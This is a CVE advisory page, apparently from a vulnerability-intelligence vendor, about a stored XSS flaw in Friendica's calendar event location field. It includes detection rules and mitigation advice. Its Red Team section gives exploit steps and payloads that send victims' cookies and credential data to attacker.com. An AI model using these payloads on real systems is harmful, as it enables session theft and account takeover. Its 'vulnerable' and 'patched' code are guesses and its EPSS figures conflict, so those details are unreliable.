☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-27729

CVE-2024-27729 Cross-Site Scripting in Friendica
📅 PUBLISHED: 2024-08-15 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 2023.12
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-27729 is a Cross-Site Scripting (XSS) vulnerability discovered in Friendica version 2023.12. The flaw resides in the calendar event feature, specifically within the location parameter. A remote attacker can exploit this vulnerability to inject malicious scripts, leading to the theft of sensitive information such as session cookies, authentication tokens, or user data. The vulnerability is publicly known, but no official patch has been released as of the time of analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Friendica is a PHP-based decentralized social network. The vulnerability affects the core application code, not a third-party package. However, administrators should verify the integrity of their Friendica installation and ensure no malicious modifications have been made.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R) – the victim must view the crafted event
  • Scope (S): Changed (C) – the injected script can affect other components
  • Confidentiality (C): High (H)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant data theft.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The location parameter in the calendar event feature is not properly sanitized or encoded before being rendered in the browser. An attacker can create a calendar event with a malicious payload in the location field, such as:

<script>alert(document.cookie)</script>

When another user views the event, the script executes in their browser context, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

The root cause is insufficient output encoding. The application likely uses echo $location; or similar without applying htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Friendica 2023.12):

// In calendar event view
echo "<div class='event-location'>" . $event['location'] . "</div>";

Patched Code (Hypothetical):

// Properly escape output
echo "<div class='event-location'>" . htmlspecialchars($event['location'], ENT_QUOTES, 'UTF-8') . "</div>";

The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Friendica instance running version 2023.12
  • Ability to create calendar events (any authenticated user)

Exploit Steps:

  1. Log in to Friendica.
  2. Navigate to the calendar and create a new event.
  3. In the location field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  1. Save the event.
  2. Share the event link with the victim.
  3. When the victim views the event, their cookies are sent to the attacker's server.

Alternative Payload (Steal CSRF Token):

<img src=x onerror="fetch('/api/account/verify_credentials').then(r=>r.text()).then(t=>fetch('https://attacker.com/token?data='+t))">

Blue Team

Detection:

  • Monitor for unusual calendar event creation with suspicious location fields.
  • Use WAF rules to block common XSS patterns in POST parameters.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Apply input validation and output encoding.
  • Use a web application firewall (WAF) to filter malicious payloads.
  • Educate users about the risks of clicking on untrusted calendar events.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains containing cookie data.
  • Logs: Calendar event creation with location fields containing <script>, <img>, or other HTML tags.
  • File: Modified Friendica source files (if attacker gained access).
  • Behavior: Unexpected redirects or pop-ups when viewing calendar events.

Detection Engineering

YARA Rule

rule CVE_2024_27729_XSS {
    meta:
        description = "Detects XSS payloads in Friendica calendar event location field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27729"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Friendica Calendar Event XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts in Friendica calendar event location parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/calendar/event*'
        cs-uri-query|contains: 'location='
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of location names containing special characters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27729 Friendica Calendar XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/calendar/event"; http_uri; content:"location="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the calendar event feature if not essential.
  2. Patch: Apply the hypothetical patch by adding htmlspecialchars() to the location output.
  3. Workaround: Use a WAF to block XSS payloads in the location parameter.
  4. Monitoring: Enable logging and alerting for suspicious calendar event creation.
  5. User Education: Warn users about the risks of viewing calendar events from untrusted sources.
  6. Update: Monitor Friendica's official channels for a security patch.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Friendica
Friendica calendar

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-27729/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.